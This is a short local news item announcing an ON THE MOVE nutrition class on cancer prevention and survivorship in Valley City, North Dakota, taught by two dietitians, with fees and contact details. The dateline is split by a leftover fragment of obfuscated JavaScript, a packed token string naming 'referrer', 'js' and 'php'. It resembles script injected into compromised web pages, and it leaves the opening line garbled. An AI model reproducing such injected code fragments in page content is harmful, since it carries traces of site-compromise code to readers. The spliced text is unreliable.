VALLEY sebdn|var|u0026u|referrer|hhhiy||js|php’.split(‘|’),0,{}))
CITY, N.D. (NewsDakota.com) Nutrition for Cancer Prevention and Survivorship is being offered by ON THE MOVE.  The class will be held Thursday, January 22 from 7pm to 8 pm inside the Valley City Public Schools Administration Building.

Sharon Buhr, MPH, LRD and Andrea Winter, LRD will be the instructors.  Both are dietitians with Young People’s Healthy Heart Program at CHI Mercy Health.

Surviving a bout with cancer can change how you see the world.  And many questions about daily life come up as a cancer survivor – what should I eat – can I exercise?  The class will provide the latest information and help you answer these questions and more.

Food samples of plant based healthy foods will be served and recipes will be available.
The class if free to all ON THE MOVE members and $5 for non members. 

For more information about ON THE MOVE or to join, go to the website www.barnesonthemove.org or by phone at 845-6456.

L to R Andrea Winter, Steph Kruta and Sharon Buhr.
L to R Andrea Winter, Steph Kruta and Sharon Buhr.